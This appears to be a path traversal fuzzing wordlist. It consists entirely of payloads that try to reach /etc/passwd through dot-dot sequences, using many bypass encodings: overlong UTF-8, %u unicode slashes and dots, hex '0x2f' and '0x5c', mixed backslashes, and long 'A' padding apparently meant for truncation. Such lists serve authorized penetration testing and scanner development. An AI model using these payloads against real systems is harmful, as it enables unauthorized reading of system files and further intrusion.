AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../..//etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\/etc/passwd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\/etc/passwd
...//etc/passwd
.../...//etc/passwd
.../.../...//etc/passwd
.../.../.../...//etc/passwd
.../.../.../.../...//etc/passwd
.../.../.../.../.../...//etc/passwd
.../.../.../.../.../.../...//etc/passwd
.../.../.../.../.../.../.../...//etc/passwd
...\/etc/passwd
...\...\/etc/passwd
...\...\...\/etc/passwd
...\...\...\...\/etc/passwd
...\...\...\...\...\/etc/passwd
...\...\...\...\...\...\/etc/passwd
...\...\...\...\...\...\...\/etc/passwd
...\...\...\...\...\...\...\...\/etc/passwd
....//etc/passwd
..../....//etc/passwd
..../..../....//etc/passwd
..../..../..../....//etc/passwd
..../..../..../..../....//etc/passwd
..../..../..../..../..../....//etc/passwd
..../..../..../..../..../..../....//etc/passwd
..../..../..../..../..../..../..../....//etc/passwd
....\/etc/passwd
....\....\/etc/passwd
....\....\....\/etc/passwd
....\....\....\....\/etc/passwd
....\....\....\....\....\/etc/passwd
....\....\....\....\....\....\/etc/passwd
....\....\....\....\....\....\....\/etc/passwd
....\....\....\....\....\....\....\....\/etc/passwd
..........................................................................//etc/passwd
........................................................................../..//etc/passwd
........................................................................../../..//etc/passwd
........................................................................../../../..//etc/passwd
........................................................................../../../../..//etc/passwd
........................................................................../../../../../..//etc/passwd
........................................................................../../../../../../..//etc/passwd
........................................................................../../../../../../../..//etc/passwd
..........................................................................\/etc/passwd
..........................................................................\..\/etc/passwd
..........................................................................\..\..\/etc/passwd
..........................................................................\..\..\..\/etc/passwd
..........................................................................\..\..\..\..\/etc/passwd
..........................................................................\..\..\..\..\..\/etc/passwd
..........................................................................\..\..\..\..\..\..\/etc/passwd
..........................................................................\..\..\..\..\..\..\..\/etc/passwd
..%u2215/etc/passwd
..%u2215..%u2215/etc/passwd
..%u2215..%u2215..%u2215/etc/passwd
..%u2215..%u2215..%u2215..%u2215/etc/passwd
..%u2215..%u2215..%u2215..%u2215..%u2215/etc/passwd
..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215/etc/passwd
..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215/etc/passwd
..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215/etc/passwd
%uff0e%uff0e//etc/passwd
%uff0e%uff0e/%uff0e%uff0e//etc/passwd
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e//etc/passwd
%uff0e%uff0e%u2215/etc/passwd
%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215/etc/passwd
..%u2216/etc/passwd
..%u2216..%u2216/etc/passwd
..%u2216..%u2216..%u2216/etc/passwd
..%u2216..%u2216..%u2216..%u2216/etc/passwd
..%u2216..%u2216..%u2216..%u2216..%u2216/etc/passwd
..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216/etc/passwd
..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216/etc/passwd
..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216/etc/passwd
..%uEFC8/etc/passwd
..%uEFC8..%uEFC8/etc/passwd
..%uEFC8..%uEFC8..%uEFC8/etc/passwd
..%uEFC8..%uEFC8..%uEFC8..%uEFC8/etc/passwd
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8/etc/passwd
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8/etc/passwd
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8/etc/passwd
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8/etc/passwd
..%uF025/etc/passwd
..%uF025..%uF025/etc/passwd
..%uF025..%uF025..%uF025/etc/passwd
..%uF025..%uF025..%uF025..%uF025/etc/passwd
..%uF025..%uF025..%uF025..%uF025..%uF025/etc/passwd
..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025/etc/passwd
..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025/etc/passwd
..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025/etc/passwd
%uff0e%uff0e\/etc/passwd
%uff0e%uff0e\%uff0e%uff0e\/etc/passwd
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\/etc/passwd
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\/etc/passwd
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\/etc/passwd
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\/etc/passwd
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\/etc/passwd
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\/etc/passwd
%uff0e%uff0e%u2216/etc/passwd
%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216/etc/passwd
..0x2f/etc/passwd
..0x2f..0x2f/etc/passwd
..0x2f..0x2f..0x2f/etc/passwd
..0x2f..0x2f..0x2f..0x2f/etc/passwd
..0x2f..0x2f..0x2f..0x2f..0x2f/etc/passwd
..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f/etc/passwd
..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f/etc/passwd
..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f/etc/passwd
0x2e0x2e//etc/passwd
0x2e0x2e/0x2e0x2e//etc/passwd
0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e//etc/passwd
0x2e0x2e0x2f/etc/passwd
0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f/etc/passwd
..0x5c/etc/passwd
..0x5c..0x5c/etc/passwd
..0x5c..0x5c..0x5c/etc/passwd
..0x5c..0x5c..0x5c..0x5c/etc/passwd
..0x5c..0x5c..0x5c..0x5c..0x5c/etc/passwd
..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c/etc/passwd
..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c/etc/passwd
..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c/etc/passwd
0x2e0x2e\/etc/passwd
0x2e0x2e\0x2e0x2e\/etc/passwd
0x2e0x2e\0x2e0x2e\0x2e0x2e\/etc/passwd
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\/etc/passwd
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\/etc/passwd
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\/etc/passwd
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\/etc/passwd
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\/etc/passwd
0x2e0x2e0x5c/etc/passwd
0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c/etc/passwd
..%c0%2f/etc/passwd
..%c0%2f..%c0%2f/etc/passwd
..%c0%2f..%c0%2f..%c0%2f/etc/passwd
..%c0%2f..%c0%2f..%c0%2f..%c0%2f/etc/passwd
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f/etc/passwd
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f/etc/passwd
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f/etc/passwd
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f/etc/passwd
%c0%2e%c0%2e//etc/passwd
%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e//etc/passwd
%c0%2e%c0%2e%c0%2f/etc/passwd
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd
..%c0%5c/etc/passwd
..%c0%5c..%c0%5c/etc/passwd
..%c0%5c..%c0%5c..%c0%5c/etc/passwd
..%c0%5c..%c0%5c..%c0%5c..%c0%5c/etc/passwd
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c/etc/passwd
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c/etc/passwd
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c/etc/passwd
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c/etc/passwd
%c0%2e%c0%2e\/etc/passwd
%c0%2e%c0%2e\%c0%2e%c0%2e\/etc/passwd
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\/etc/passwd
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\/etc/passwd
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\/etc/passwd
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\/etc/passwd
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\/etc/passwd
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\/etc/passwd
%c0%2e%c0%2e%c0%5c/etc/passwd
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd
///%2e%2e%2f/etc/passwd
///%2e%2e%2f%2e%2e%2f/etc/passwd
///%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
\\\%2e%2e%5c/etc/passwd
\\\%2e%2e%5c%2e%2e%5c/etc/passwd
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd
..///etc/passwd
..//..///etc/passwd
..//..//..///etc/passwd
..//..//..//..///etc/passwd
..//..//..//..//..///etc/passwd
..//..//..//..//..//..///etc/passwd
..//..//..//..//..//..//..///etc/passwd
..//..//..//..//..//..//..//..///etc/passwd
..////etc/passwd
..///..////etc/passwd
..///..///..////etc/passwd
..///..///..///..////etc/passwd
..///..///..///..///..////etc/passwd
..///..///..///..///..///..////etc/passwd
..///..///..///..///..///..///..////etc/passwd
..///..///..///..///..///..///..///..////etc/passwd
..\\/etc/passwd
..\\..\\/etc/passwd
..\\..\\..\\/etc/passwd
..\\..\\..\\..\\/etc/passwd
..\\..\\..\\..\\..\\/etc/passwd
..\\..\\..\\..\\..\\..\\/etc/passwd
..\\..\\..\\..\\..\\..\\..\\/etc/passwd
..\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd
..\\\/etc/passwd
..\\\..\\\/etc/passwd
..\\\..\\\..\\\/etc/passwd
..\\\..\\\..\\\..\\\/etc/passwd
..\\\..\\\..\\\..\\\..\\\/etc/passwd
..\\\..\\\..\\\..\\\..\\\..\\\/etc/passwd
..\\\..\\\..\\\..\\\..\\\..\\\..\\\/etc/passwd
..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\/etc/passwd
./\/.//etc/passwd
./\/././\/.//etc/passwd
./\/././\/././\/.//etc/passwd
./\/././\/././\/././\/.//etc/passwd
./\/././\/././\/././\/././\/.//etc/passwd
./\/././\/././\/././\/././\/././\/.//etc/passwd
